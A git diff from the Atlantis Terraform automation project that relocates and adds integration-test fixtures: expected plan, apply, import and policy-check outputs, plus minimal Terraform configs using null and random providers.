Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + + # null_resource.simple2 will be created ++ resource "null_resource" "simple2" { + + id = (known after apply) + } + + # null_resource.simple3 will be created ++ resource "null_resource" "simple3" { + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "default" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-plan.txt b/server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-plan.txt new file mode 100644 index 0000000000..822531032c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-with-lockfile/exp-output-plan.txt @@ -0,0 +1,54 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + + # null_resource.simple2 will be created ++ resource "null_resource" "simple2" { + + id = (known after apply) + } + + # null_resource.simple3 will be created ++ resource "null_resource" "simple3" { + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "default" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple-with-lockfile/main.tf b/server/controllers/events/testdata/test-repos/simple-with-lockfile/main.tf new file mode 100644 index 0000000000..2394ee4a7a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-with-lockfile/main.tf @@ -0,0 +1,18 @@ +resource "null_resource" "simple" { + count = 1 +} + +resource "null_resource" "simple2" {} +resource "null_resource" "simple3" {} + +variable "var" { + default = "default" +} + +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/simple-with-lockfile/versions.tf b/server/controllers/events/testdata/test-repos/simple-with-lockfile/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-with-lockfile/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/testfixtures/test-repos/simple-yaml/atlantis.yaml b/server/controllers/events/testdata/test-repos/simple-yaml/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/simple-yaml/atlantis.yaml rename to server/controllers/events/testdata/test-repos/simple-yaml/atlantis.yaml diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-allow-command-unknown-apply.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-allow-command-unknown-apply.txt new file mode 100644 index 0000000000..33d3bbd1bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-allow-command-unknown-apply.txt @@ -0,0 +1,5 @@ +``` +Error: unknown command "apply". +Run 'atlantis --help' for usage. +Available commands(--allow-commands): plan +``` diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-all.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-all.txt new file mode 100644 index 0000000000..4e757a396c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-all.txt @@ -0,0 +1,45 @@ +Ran Apply for 2 projects: + +1. dir: `.` workspace: `default` +1. dir: `.` workspace: `staging` +--- + +### 1. dir: `.` workspace: `default` +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "fromconfig" +workspace = "default" +``` + +--- +### 2. dir: `.` workspace: `staging` +
Show Output + +```diff +preapply + +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "fromfile" +workspace = "staging" + +postapply +``` + +
+ +--- +### Apply Summary + +2 projects, 2 successful, 0 failed, 0 errored \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-default.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-default.txt new file mode 100644 index 0000000000..4bed3c7087 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-default.txt @@ -0,0 +1,13 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "fromconfig" +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-locked.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-locked.txt new file mode 100644 index 0000000000..9c9f52f43a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-locked.txt @@ -0,0 +1 @@ +**Error:** Running `atlantis apply` is disabled. diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-staging.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-staging.txt new file mode 100644 index 0000000000..5bf6c9c023 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-apply-staging.txt @@ -0,0 +1,21 @@ +Ran Apply for dir: `.` workspace: `staging` + +
Show Output + +```diff +preapply + +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +var = "fromfile" +workspace = "staging" + +postapply +``` + +
\ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-autoplan.txt new file mode 100644 index 0000000000..c445925f6c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-autoplan.txt @@ -0,0 +1,93 @@ +Ran Plan for 2 projects: + +1. dir: `.` workspace: `default` +1. dir: `.` workspace: `staging` +--- + +### 1. dir: `.` workspace: `default` +
Show Output + +```diff +preinit + + +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "fromconfig" ++ workspace = "default" + +postplan +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `.` workspace: `staging` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "fromfile" ++ workspace = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -w staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -w staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/simple-yaml/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/simple-yaml/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/simple-yaml/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-default.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-default.txt new file mode 100644 index 0000000000..b944f4deab --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-default.txt @@ -0,0 +1,49 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +preinit + + +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "fromconfig" ++ workspace = "default" + +postplan +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-staging.txt b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-staging.txt new file mode 100644 index 0000000000..64880424f6 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/exp-output-plan-staging.txt @@ -0,0 +1,44 @@ +Ran Plan for dir: `.` workspace: `staging` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "fromfile" ++ workspace = "staging" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -w staging + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -w staging + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/main.tf b/server/controllers/events/testdata/test-repos/simple-yaml/main.tf new file mode 100644 index 0000000000..b71b9e786e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/main.tf @@ -0,0 +1,15 @@ +resource "null_resource" "simple" { + count = "1" +} + +variable "var" { + default = "default" +} + +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/testfixtures/test-repos/simple-yaml/staging.tfvars b/server/controllers/events/testdata/test-repos/simple-yaml/staging.tfvars similarity index 100% rename from server/testfixtures/test-repos/simple-yaml/staging.tfvars rename to server/controllers/events/testdata/test-repos/simple-yaml/staging.tfvars diff --git a/server/controllers/events/testdata/test-repos/simple-yaml/versions.tf b/server/controllers/events/testdata/test-repos/simple-yaml/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple-yaml/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-allow-command-unknown-import.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-allow-command-unknown-import.txt new file mode 100644 index 0000000000..9feb8168fe --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-allow-command-unknown-import.txt @@ -0,0 +1,5 @@ +``` +Error: unknown command "import". +Run 'atlantis --help' for usage. +Available commands(--allow-commands): plan, apply +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-all.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-all.txt new file mode 100644 index 0000000000..cb7dd9a752 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-all.txt @@ -0,0 +1,53 @@ +Ran Apply for 2 projects: + +1. dir: `.` workspace: `default` +1. dir: `.` workspace: `new_workspace` +--- + +### 1. dir: `.` workspace: `default` +
Show Output + +```diff +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 3 added, 0 changed, 0 destroyed. + +Outputs: + +var = "default_workspace" +workspace = "default" +``` + +
+ +--- +### 2. dir: `.` workspace: `new_workspace` +
Show Output + +```diff +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 3 added, 0 changed, 0 destroyed. + +Outputs: + +var = "new_workspace" +workspace = "new_workspace" +``` + +
+ +--- +### Apply Summary + +2 projects, 2 successful, 0 failed, 0 errored \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-default-workspace.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-default-workspace.txt new file mode 100644 index 0000000000..679560ed41 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-default-workspace.txt @@ -0,0 +1,21 @@ +Ran Apply for dir: `.` workspace: `default` + +
Show Output + +```diff +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 3 added, 0 changed, 0 destroyed. + +Outputs: + +var = "default_workspace" +workspace = "default" +``` + +
\ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-new-workspace.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-new-workspace.txt new file mode 100644 index 0000000000..eb6c229aa7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var-new-workspace.txt @@ -0,0 +1,21 @@ +Ran Apply for dir: `.` workspace: `new_workspace` + +
Show Output + +```diff +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 3 added, 0 changed, 0 destroyed. + +Outputs: + +var = "new_workspace" +workspace = "new_workspace" +``` + +
\ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var.txt new file mode 100644 index 0000000000..5cd53f1fa4 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-apply-var.txt @@ -0,0 +1,21 @@ +Ran Apply for dir: `.` workspace: `default` + +
Show Output + +```diff +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 3 added, 0 changed, 0 destroyed. + +Outputs: + +var = "overridden" +workspace = "default" +``` + +
\ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-apply.txt new file mode 100644 index 0000000000..17bcb6d4ab --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-apply.txt @@ -0,0 +1,21 @@ +Ran Apply for dir: `.` workspace: `default` + +
Show Output + +```diff +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 3 added, 0 changed, 0 destroyed. + +Outputs: + +var = "default" +workspace = "default" +``` + +
\ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt new file mode 100644 index 0000000000..13bdae3fac --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt @@ -0,0 +1,54 @@ +Ran Plan for dir: `.` workspace: `new_workspace` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + + # null_resource.simple2 will be created ++ resource "null_resource" "simple2" { + + id = (known after apply) + } + + # null_resource.simple3 will be created ++ resource "null_resource" "simple3" { + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "new_workspace" ++ workspace = "new_workspace" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -w new_workspace + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -w new_workspace -- -var var=new_workspace + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt new file mode 100644 index 0000000000..ab28d0ca84 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt @@ -0,0 +1,54 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + + # null_resource.simple2 will be created ++ resource "null_resource" "simple2" { + + id = (known after apply) + } + + # null_resource.simple3 will be created ++ resource "null_resource" "simple3" { + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "overridden" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . -- -var var=overridden + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan.txt new file mode 100644 index 0000000000..191b540b63 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-atlantis-plan.txt @@ -0,0 +1,54 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + + # null_resource.simple2 will be created ++ resource "null_resource" "simple2" { + + id = (known after apply) + } + + # null_resource.simple3 will be created ++ resource "null_resource" "simple3" { + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "default_workspace" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . -- -var var=default_workspace + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..fd03e48aed --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-auto-policy-check.txt @@ -0,0 +1,25 @@ +Ran Policy Check for dir: `.` workspace: `default` + +```diff + +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/simple/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-autoplan.txt new file mode 100644 index 0000000000..822531032c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/exp-output-autoplan.txt @@ -0,0 +1,54 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + + # null_resource.simple2 will be created ++ resource "null_resource" "simple2" { + + id = (known after apply) + } + + # null_resource.simple3 will be created ++ resource "null_resource" "simple3" { + + id = (known after apply) + } + +Plan: 3 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ var = "default" ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 3 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/simple/exp-output-merge-workspaces.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-merge-workspaces.txt similarity index 100% rename from server/testfixtures/test-repos/simple/exp-output-merge-workspaces.txt rename to server/controllers/events/testdata/test-repos/simple/exp-output-merge-workspaces.txt diff --git a/server/testfixtures/test-repos/simple/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/simple/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/simple/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/simple/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/simple/main.tf b/server/controllers/events/testdata/test-repos/simple/main.tf new file mode 100644 index 0000000000..2394ee4a7a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/main.tf @@ -0,0 +1,18 @@ +resource "null_resource" "simple" { + count = 1 +} + +resource "null_resource" "simple2" {} +resource "null_resource" "simple3" {} + +variable "var" { + default = "default" +} + +output "var" { + value = var.var +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/simple/versions.tf b/server/controllers/events/testdata/test-repos/simple/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/simple/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/atlantis.yaml b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/atlantis.yaml new file mode 100644 index 0000000000..006db31ba5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: dir1 +- dir: dir2 diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/main.tf b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/main.tf new file mode 100644 index 0000000000..0c4b79e3f8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/main.tf @@ -0,0 +1,3 @@ +resource "random_id" "dummy" { + byte_length = 1 +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/versions.tf b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir1/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/main.tf b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/main.tf new file mode 100644 index 0000000000..0c4b79e3f8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/main.tf @@ -0,0 +1,3 @@ +resource "random_id" "dummy" { + byte_length = 1 +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/versions.tf b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/dir2/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-autoplan.txt new file mode 100644 index 0000000000..1de0174378 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-autoplan.txt @@ -0,0 +1,90 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy will be created ++ resource "random_id" "dummy" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `dir2` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy will be created ++ resource "random_id" "dummy" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy1.txt b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy1.txt new file mode 100644 index 0000000000..8d98fee1d7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy1.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `dir1` workspace: `default` + +```diff +random_id.dummy: Importing from ID "AA"... +random_id.dummy: Import prepared! + Prepared random_id for import +random_id.dummy: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/state-rm-multiple-project/exp-output-import-dummy2.txt 